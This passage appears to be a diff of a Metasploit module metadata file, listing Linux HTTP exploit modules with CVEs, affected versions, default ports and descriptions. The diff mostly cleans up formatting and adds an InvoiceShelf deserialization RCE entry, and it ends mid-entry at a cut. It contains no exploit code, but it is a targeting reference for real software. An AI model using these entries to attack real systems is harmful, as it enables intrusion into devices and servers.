"URL-https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/", - "URL-http://geutebruck.com", + "URL-https://www.geutebrueck.com/index.html", "URL-https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03" ], "platform": "Linux,Unix", @@ -75166,7 +65332,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2022-10-01 17:54:59 +0000", + "mod_time": "2025-02-28 11:29:59 +0000", "path": "/modules/exploits/linux/http/geutebruck_instantrec_bof.rb", "is_install_path": true, "ref_name": "linux/http/geutebruck_instantrec_bof", @@ -75190,9 +65356,7 @@ "exploit_linux/http/geutebruck_testaction_exec": { "name": "Geutebruck testaction.cgi Remote Command Execution", "fullname": "exploit/linux/http/geutebruck_testaction_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-20", "type": "exploit", @@ -75202,7 +65366,7 @@ "description": "This module exploits an authenticated arbitrary command execution vulnerability within the 'server'\n GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,\n ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware\n versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.\n Successful exploitation results in remote code execution as the root user.", "references": [ "CVE-2020-16205", - "URL-http://geutebruck.com", + "URL-https://www.geutebrueck.com/index.html", "URL-https://ics-cert.us-cert.gov/advisories/icsa-20-219-03", "URL-https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/" ], @@ -75227,7 +65391,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2023-02-10 18:04:31 +0000", + "mod_time": "2025-02-28 11:29:59 +0000", "path": "/modules/exploits/linux/http/geutebruck_testaction_exec.rb", "is_install_path": true, "ref_name": "linux/http/geutebruck_testaction_exec", @@ -75251,9 +65415,7 @@ "exploit_linux/http/github_enterprise_secret": { "name": "Github Enterprise Default Session Secret And Deserialization Vulnerability", "fullname": "exploit/linux/http/github_enterprise_secret", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-15", "type": "exploit", @@ -75295,17 +65457,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/gitlist_exec": { "name": "Gitlist Unauthenticated Remote Command Execution", "fullname": "exploit/linux/http/gitlist_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-06-30", "type": "exploit", @@ -75347,17 +65506,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/glinet_unauth_rce_cve_2023_50445": { "name": "GL.iNet Unauthenticated Remote Command Execution via the logread module.", "fullname": "exploit/linux/http/glinet_unauth_rce_cve_2023_50445", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-12-10", "type": "exploit", @@ -75422,9 +65578,7 @@ "exploit_linux/http/glpi_htmlawed_php_injection": { "name": "GLPI htmLawed php command injection", "fullname": "exploit/linux/http/glpi_htmlawed_php_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-01-26", "type": "exploit", @@ -75484,9 +65638,7 @@ "exploit_linux/http/goahead_ldpreload": { "name": "GoAhead Web Server LD_PRELOAD Arbitrary Module Load", "fullname": "exploit/linux/http/goahead_ldpreload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-18", "type": "exploit", @@ -75541,17 +65693,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/goautodial_3_rce_command_injection": { "name": "GoAutoDial 3.3 Authentication Bypass / Command Injection", "fullname": "exploit/linux/http/goautodial_3_rce_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-21", "type": "exploit", @@ -75591,17 +65740,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/gpsd_format_string": { "name": "Berlios GPSD Format String Vulnerability", "fullname": "exploit/linux/http/gpsd_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-05-25", "type": "exploit", @@ -75618,12 +65764,8 @@ "platform": "Linux", "arch": "x86", "rport": 2947, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "gpsd-1.91-1.i386.rpm", @@ -75655,8 +65797,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -75727,9 +65868,7 @@ "exploit_linux/http/grandstream_ucm62xx_sendemail_rce": { "name": "Grandstream UCM62xx IP PBX sendPasswordEmail RCE", "fullname": "exploit/linux/http/grandstream_ucm62xx_sendemail_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-23", "type": "exploit", @@ -75788,9 +65927,7 @@ "exploit_linux/http/gravcms_exec": { "name": "GravCMS Remote Command Execution", "fullname": "exploit/linux/http/gravcms_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-03-29", "type": "exploit", @@ -75847,9 +65984,7 @@ "exploit_linux/http/groundwork_monarch_cmd_exec": { "name": "GroundWork monarch_scan.cgi OS Command Injection", "fullname": "exploit/linux/http/groundwork_monarch_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-08", "type": "exploit", @@ -75892,17 +66027,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/h2_webinterface_rce": { "name": "H2 Web Interface Create Alias RCE", "fullname": "exploit/linux/http/h2_webinterface_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-09", "type": "exploit", @@ -75968,9 +66100,7 @@ "exploit_linux/http/hadoop_unauth_exec": { "name": "Hadoop YARN ResourceManager Unauthenticated Command Execution", "fullname": "exploit/linux/http/hadoop_unauth_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-19", "type": "exploit", @@ -76012,17 +66142,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/hikvision_cve_2021_36260_blind": { "name": "Hikvision IP Camera Unauthenticated Command Injection", "fullname": "exploit/linux/http/hikvision_cve_2021_36260_blind", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-18", "type": "exploit", @@ -76085,9 +66212,7 @@ "exploit_linux/http/hp_system_management": { "name": "HP System Management Anonymous Access Code Execution", "fullname": "exploit/linux/http/hp_system_management", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-09-01", "type": "exploit", @@ -76127,17 +66252,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/hp_van_sdn_cmd_inject": { "name": "HP VAN SDN Controller Root Command Injection", "fullname": "exploit/linux/http/hp_van_sdn_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-25", "type": "exploit", @@ -76179,17 +66301,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/huawei_hg532n_cmdinject": { "name": "Huawei HG532n Command Injection", "fullname": "exploit/linux/http/huawei_hg532n_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-15", "type": "exploit", @@ -76228,17 +66347,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/ibm_drm_rce": { "name": "IBM Data Risk Manager Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/ibm_drm_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-21", "type": "exploit", @@ -76300,9 +66416,7 @@ "exploit_linux/http/ibm_qradar_unauth_rce": { "name": "IBM QRadar SIEM Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/ibm_qradar_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-28", "type": "exploit", @@ -76347,17 +66461,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/imperva_securesphere_exec": { "name": "Imperva SecureSphere PWS Command Injection", "fullname": "exploit/linux/http/imperva_securesphere_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-08", "type": "exploit", @@ -76396,17 +66507,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/invoiceninja_unauth_rce_cve_2024_55555": { "name": "Invoice Ninja unauthenticated PHP Deserialization Vulnerability", "fullname": "exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-12-13", "type": "exploit", @@ -76418,7 +66526,7 @@ "description": "Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.\n A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated\n attackers to conduct PHP deserialization attacks via endpoint `/route/` which accepts a Laravel\n ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.\n As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\n potentially resulting in complete system compromise, data exfiltration, or unauthorized access\n to sensitive information.", "references": [ "CVE-2024-55555", - "URL-https://attackerkb.com/topics/xxxxx/cve-2024-55555", + "URL-https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555", "URL-https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known" ], "platform": "Linux,PHP,Unix", @@ -76443,7 +66551,7 @@ "PHP", "Unix/Linux Command" ], - "mod_time": "2025-02-24 15:51:32 +0000", + "mod_time": "2025-03-14 08:23:10 +0000", "path": "/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb", "is_install_path": true, "ref_name": "linux/http/invoiceninja_unauth_rce_cve_2024_55555", @@ -76465,12 +66573,72 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/invoiceshelf_unauth_rce_cve_2024_55556": { + "name": "InvoiceShelf unauthenticated PHP Deserialization Vulnerability", + "fullname": "exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556", + "aliases": [], + "rank": 600, + "disclosure_date": "2024-12-13", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Rémi Matasse", + "Mickaël Benassouli" + ], + "description": "InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional\n invoices & estimates and is based on the PHP framework Laravel.\n InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct\n PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default\n InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.\n These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using\n Laravel's encrypt() function.\n An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify\n the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve\n remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.\n As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\n potentially resulting in complete system compromise, data exfiltration, or unauthorized access\n to sensitive information.", + "references": [ + "CVE-2024-55556", + "URL-https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556", + "URL-https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known" + ], + "platform": "Linux,PHP,Unix", + "arch": "php, cmd", + "rport": 90, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP", + "Unix/Linux Command" + ], + "mod_time": "2025-03-14 08:04:22 +0000", + "path": "/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb", + "is_install_path": true, + "ref_name": "linux/http/invoiceshelf_unauth_rce_cve_2024_55556", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/invokeai_rce_cve_2024_12029": { "name": "InvokeAI RCE", "fullname": "exploit/linux/http/invokeai_rce_cve_2024_12029", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2025-02-07", "type": "exploit", @@ -76529,9 +66697,7 @@ "exploit_linux/http/ipfire_bashbug_exec": { "name": "IPFire Bash Environment Variable Injection (Shellshock)", "fullname": "exploit/linux/http/ipfire_bashbug_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-29", "type": "exploit", @@ -76576,12 +66742,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "Shellshock" ] @@ -76592,9 +66754,7 @@ "exploit_linux/http/ipfire_oinkcode_exec": { "name": "IPFire proxy.cgi RCE", "fullname": "exploit/linux/http/ipfire_oinkcode_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-06-09", "type": "exploit", @@ -76635,17 +66795,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/ipfire_pakfire_exec": { "name": "IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE", "fullname": "exploit/linux/http/ipfire_pakfire_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-17", "type": "exploit", @@ -76706,9 +66863,7 @@ "exploit_linux/http/ipfire_proxy_exec": { "name": "IPFire proxy.cgi RCE", "fullname": "exploit/linux/http/ipfire_proxy_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-05-04", "type": "exploit", @@ -76749,17 +66904,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/ivanti_connect_secure_rce_cve_2023_46805": { "name": "Ivanti Connect Secure Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-10", "type": "exploit", @@ -76819,9 +66971,7 @@ "exploit_linux/http/ivanti_connect_secure_rce_cve_2024_21893": { "name": "Ivanti Connect Secure Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-31", "type": "exploit", @@ -76883,9 +67033,7 @@ "exploit_linux/http/ivanti_connect_secure_rce_cve_2024_37404": { "name": "Ivanti Connect Secure Authenticated Remote Code Execution via OpenSSL CRLF Injection", "fullname": "exploit/linux/http/ivanti_connect_secure_rce_cve_2024_37404", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-10-08", "type": "exploit", @@ -76947,9 +67095,7 @@ "exploit_linux/http/ivanti_csa_unauth_rce_cve_2021_44529": { "name": "Ivanti Cloud Services Appliance (CSA) Command Injection", "fullname": "exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-02", "type": "exploit", @@ -77013,9 +67159,7 @@ "exploit_linux/http/ivanti_sentry_misc_log_service": { "name": "Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035)", "fullname": "exploit/linux/http/ivanti_sentry_misc_log_service", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-21", "type": "exploit", @@ -77077,9 +67221,7 @@ "exploit_linux/http/jenkins_cli_deserialization": { "name": "Jenkins CLI Deserialization", "fullname": "exploit/linux/http/jenkins_cli_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-26", "type": "exploit", @@ -77139,9 +67281,7 @@ "exploit_linux/http/judge0_sandbox_escape_cve_2024_28189": { "name": "Judge0 sandbox escape", "fullname": "exploit/linux/http/judge0_sandbox_escape_cve_2024_28189", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-04", "type": "exploit", @@ -77202,9 +67342,7 @@ "exploit_linux/http/kafka_ui_unauth_rce_cve_2023_52251": { "name": "Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.", "fullname": "exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-27", "type": "exploit", @@ -77264,9 +67402,7 @@ "exploit_linux/http/kaltura_unserialize_cookie_rce": { "name": "Kaltura Remote PHP Code Execution over Cookie", "fullname": "exploit/linux/http/kaltura_unserialize_cookie_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-12", "type": "exploit", @@ -77306,17 +67442,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/kaltura_unserialize_rce": { "name": "Kaltura Remote PHP Code Execution", "fullname": "exploit/linux/http/kaltura_unserialize_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-15", "type": "exploit", @@ -77356,17 +67489,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/kibana_timelion_prototype_pollution_rce": { "name": "Kibana Timelion Prototype Pollution RCE", "fullname": "exploit/linux/http/kibana_timelion_prototype_pollution_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-10-30", "type": "exploit", @@ -77426,9 +67556,7 @@ "exploit_linux/http/kibana_upgrade_assistant_telemetry_rce": { "name": "Kibana Upgrade Assistant Telemetry Collector Prototype Pollution", "fullname": "exploit/linux/http/kibana_upgrade_assistant_telemetry_rce", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-04-17", "type": "exploit", @@ -77473,9 +67601,7 @@ "Stability": [ "crash-service-down" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -77486,9 +67612,7 @@ "exploit_linux/http/klog_server_authenticate_user_unauth_command_injection": { "name": "Klog Server authenticate.php user Unauthenticated Command Injection", "fullname": "exploit/linux/http/klog_server_authenticate_user_unauth_command_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-12-27", "type": "exploit", @@ -77556,9 +67680,7 @@ "exploit_linux/http/kloxo_sqli": { "name": "Kloxo SQL Injection and Remote Code Execution", "fullname": "exploit/linux/http/kloxo_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-01-28", "type": "exploit", @@ -77600,17 +67722,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/lexmark_faxtrace_settings": { "name": "Lexmark Device Embedded Web Server RCE", "fullname": "exploit/linux/http/lexmark_faxtrace_settings", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-03-13", "type": "exploit", @@ -77658,9 +67777,7 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ] @@ -77671,9 +67788,7 @@ "exploit_linux/http/librenms_addhost_cmd_inject": { "name": "LibreNMS addhost Command Injection", "fullname": "exploit/linux/http/librenms_addhost_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-12-16", "type": "exploit", @@ -77715,17 +67830,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/librenms_authenticated_rce_cve_2024_51092": { "name": "LibreNMS Authenticated RCE (CVE-2024-51092)", "fullname": "exploit/linux/http/librenms_authenticated_rce_cve_2024_51092", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-15", "type": "exploit", @@ -77784,9 +67896,7 @@ "exploit_linux/http/librenms_collectd_cmd_inject": { "name": "LibreNMS Collectd Command Injection", "fullname": "exploit/linux/http/librenms_collectd_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-07-15", "type": "exploit", @@ -77827,17 +67937,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/lifesize_uvc_ping_rce": { "name": "LifeSize UVC Authenticated RCE via Ping", "fullname": "exploit/linux/http/lifesize_uvc_ping_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-21", "type": "exploit", @@ -77876,17 +67983,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/linear_emerge_unauth_rce_cve_2019_7256": { "name": "Linear eMerge E3-Series Access Controller Command Injection", "fullname": "exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-10-29", "type": "exploit", @@ -77950,9 +68054,7 @@ "exploit_linux/http/linksys_apply_cgi": { "name": "Linksys WRT54 Access Point apply.cgi Buffer Overflow", "fullname": "exploit/linux/http/linksys_apply_cgi", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-09-13", "type": "exploit", @@ -78000,17 +68102,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/linksys_e1500_apply_exec": { "name": "Linksys E1500/E2500 apply.cgi Remote Command Injection", "fullname": "exploit/linux/http/linksys_e1500_apply_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-05", "type": "exploit", @@ -78054,17 +68153,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/linksys_themoon_exec": { "name": "Linksys E-Series TheMoon Remote Command Injection", "fullname": "exploit/linux/http/linksys_themoon_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-13", "type": "exploit", @@ -78114,17 +68210,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/linksys_wrt110_cmd_exec": { "name": "Linksys Devices pingstr Remote Command Injection", "fullname": "exploit/linux/http/linksys_wrt110_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-12", "type": "exploit", @@ -78167,17 +68260,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/linksys_wrt160nv2_apply_exec": { "name": "Linksys WRT160nv2 apply.cgi Remote Command Injection", "fullname": "exploit/linux/http/linksys_wrt160nv2_apply_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-11", "type": "exploit", @@ -78221,17 +68311,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/linksys_wrt54gl_apply_exec": { "name": "Linksys WRT54GL apply.cgi Command Execution", "fullname": "exploit/linux/http/linksys_wrt54gl_apply_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-01-18", "type": "exploit", @@ -78276,17 +68363,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/linksys_wvbr0_user_agent_exec_noauth": { "name": "Linksys WVBR0-25 User-Agent Command Execution", "fullname": "exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-12-13", "type": "exploit", @@ -78327,17 +68411,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/linuxki_rce": { "name": "LinuxKI Toolset 6.01 Remote Command Execution", "fullname": "exploit/linux/http/linuxki_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-17", "type": "exploit", @@ -78401,9 +68482,7 @@ "exploit_linux/http/logsign_exec": { "name": "Logsign Remote Command Injection", "fullname": "exploit/linux/http/logsign_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-02-26", "type": "exploit", @@ -78442,17 +68521,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/lucee_admin_imgprocess_file_write": { "name": "Lucee Administrator imgProcess.cfm Arbitrary File Write", "fullname": "exploit/linux/http/lucee_admin_imgprocess_file_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-15", "type": "exploit", @@ -78515,9 +68591,7 @@ "exploit_linux/http/magento_xxe_to_glibc_buf_overflow": { "name": "CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)", "fullname": "exploit/linux/http/magento_xxe_to_glibc_buf_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-07-26", "type": "exploit", @@ -78582,9 +68656,7 @@ "exploit_linux/http/magnusbilling_unauth_rce_cve_2023_30258": { "name": "MagnusBilling application unauthenticated Remote Command Execution.", "fullname": "exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-06-26", "type": "exploit", @@ -78646,9 +68718,7 @@ "exploit_linux/http/mailcleaner_exec": { "name": "Mailcleaner Remote Code Execution", "fullname": "exploit/linux/http/mailcleaner_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-12-19", "type": "exploit", @@ -78689,17 +68759,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/http/majordomo_cmd_inject_cve_2023_50917": { "name": "MajorDoMo Command Injection", "fullname": "exploit/linux/http/majordomo_cmd_inject_cve_2023_50917", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-12-15", "type": "exploit", @@ -78759,9 +68826,7 @@ "exploit_linux/http/metabase_setup_token_rce": { "name": "Metabase Setup Token RCE", "fullname": "exploit/linux/http/metabase_setup_token_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-07-22", "type": "exploit", @@ -78821,9 +68886,7 @@ "exploit_linux/http/microfocus_obr_cmd_injection": { "name": "Micro Focus Operations Bridge Reporter Unauthenticated Command Injection", "fullname": "exploit/linux/http/microfocus_obr_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-09", "type": "exploit", @@ -78882,9 +68945,7 @@ "exploit_linux/http/microfocus_secure_messaging_gateway": { "name": "MicroFocus Secure Messaging Gateway Remote Code Execution", "fullname": "exploit/linux/http/microfocus_secure_messaging_gateway", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-19", "type": "exploit", @@ -78927,17 +68988,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_linux/http/mida_solutions_eframework_ajaxreq_rce": { "name": "Mida Solutions eFramework ajaxreq.php Command Injection", "fullname": "exploit/linux/http/mida_solutions_eframework_ajaxreq_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-07-24", "type": "exploit", @@ -78999,9 +69057,7 @@ "exploit_linux/http/mobileiron_core_log4shell": { "name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)", "fullname": "exploit/linux/http/mobileiron_core_log4shell", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-12", "type": "exploit", @@ -79071,9 +69127,7 @@ "exploit_linux/http/mobileiron_mdm_hessian_rce": { "name": "MobileIron MDM Hessian-Based Java Deserialization RCE", "fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-12", "type": "exploit", @@ -79137,9 +69191,7 @@ "exploit_linux/http/moodle_rce": { "name": "Moodle Remote Code Execution (CVE-2024-43425)", "fullname": "exploit/linux/http/moodle_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-08-27", "type": "exploit", @@ -79199,9 +69251,7 @@ "exploit_linux/http/multi_ncc_ping_exec": { "name": "D-Link/TRENDnet NCC Service Command Injection", "fullname": "exploit/linux/http/multi_ncc_ping_exec", - "aliases": [ - 